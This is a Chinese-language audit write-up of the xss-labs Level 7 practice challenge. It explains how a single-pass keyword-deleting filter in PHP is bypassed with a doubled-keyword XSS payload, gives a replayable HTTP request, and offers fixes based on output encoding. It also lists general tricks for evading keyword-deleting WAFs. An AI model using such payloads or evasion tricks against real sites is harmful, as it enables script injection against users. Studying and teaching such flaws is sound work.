xss-labs Level7 代码审计报告
目标文件:
level7.php| 漏洞类型: 反射型 XSS —— 关键字删除过滤的"双重写入/删了再拼"绕过 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level7.php?keyword=<payload>→<input value="...">属性/标签注入
一、漏洞代码定位
level7.php 第 17-24 行:
$str = strtolower($_GET["keyword"]); // L17 先压平
$str2 = str_replace("script", "", $str); // L18 关键字被“删除”而非替换占位
$str3 = str_replace("on", "", $str2); // L19
$str4 = str_replace("src", "", $str3); // L20
$str5 = str_replace("data", "", $str4); // L21
$str6 = str_replace("href", "", $str5); // L22
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'"> // L24 危险:value 属性未转义
<input type=submit name=submit value=搜索 />
</form>
</center>';
漏洞点: L24(属性未转义)+ L18-22(删除式过滤存在经典绕过)。
二、漏洞原理
- 过滤把关键字
str_replace(..., "", ...)删除,且只做单遍扫描(PHPstr_replace对替换后新拼出的内容不会再次匹配)。 - 经典绕过"删除后残留拼接":构造
scr+script+ipt连写为scrscriptipt。过滤删掉中间那个完整的script,剩下的scr与ipt拼接成新的script。已实测:- 输入
<scrscriptipt>alert(1)</scrscriptipt>→ 过滤后变成<script>alert(1)</script>✅ - 常见误区
<scr<script>ipt>→ 过滤后是<scr<>ipt>,<>残留在中间,不成立(不要用这种)。
- 输入
- 原理: 删除过滤器假设"删掉了就没了",但
str_replace是删除字面量一次、对删除后形成的新序列不再重扫,给"残留重组"留了空间。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后):
?keyword="><scrscriptipt>alert(1)</scrscriptipt>
过滤过程(服务端): "><scrscriptipt>alert(1)</scrscriptipt> → 删除内层 script → "><script>alert(1)</script> → 浏览器执行。
Yakit 可重放原始请求:
GET /level7.php?keyword=%22%3E%3Cscrscriptipt%3Ealert(1)%3C%2Fscrscriptipt%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 页面加载即执行 alert(1) → 命中通关逻辑跳转 level8。
四、修复建议
$str = $_GET["keyword"] ?? "";
// 方案A(推荐): 不设关键字过滤,直接输出编码
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
// 方案B(若要保留黑名单): 删除后再次检查,直到稳定(防“删了又拼”)
$prev = "";
$low = strtolower($str);
while ($prev !== $low) {
$prev = $low;
$low = str_replace(["script","on","src","data","href"], "", $low);
}
// 仍存在先压平后删除导致业务数据丢失、且难以穷举绕过的问题,故仅作临时缓解。
要点:
- 删除式黑名单是反模式,必然存在"残留重组/两次编码"绕过,根除方式是输出编码。
- 属性上下文必须
ENT_QUOTES,不能只靠删字符。 - 纵深防御: CSP、输入白名单(仅允许合法搜索关键字)。
五、备注
- 已用与 PHP
str_replace等价的单遍替换语义实测,确认<scrscriptipt>方案有效、<scr<script>ipt>无效。 - 通用经验: 对"删关键字"类 WAF/过滤,优先尝试
keykey双写、k<key>ey、HTML 实体、大小写、换行等变体组合。
正文完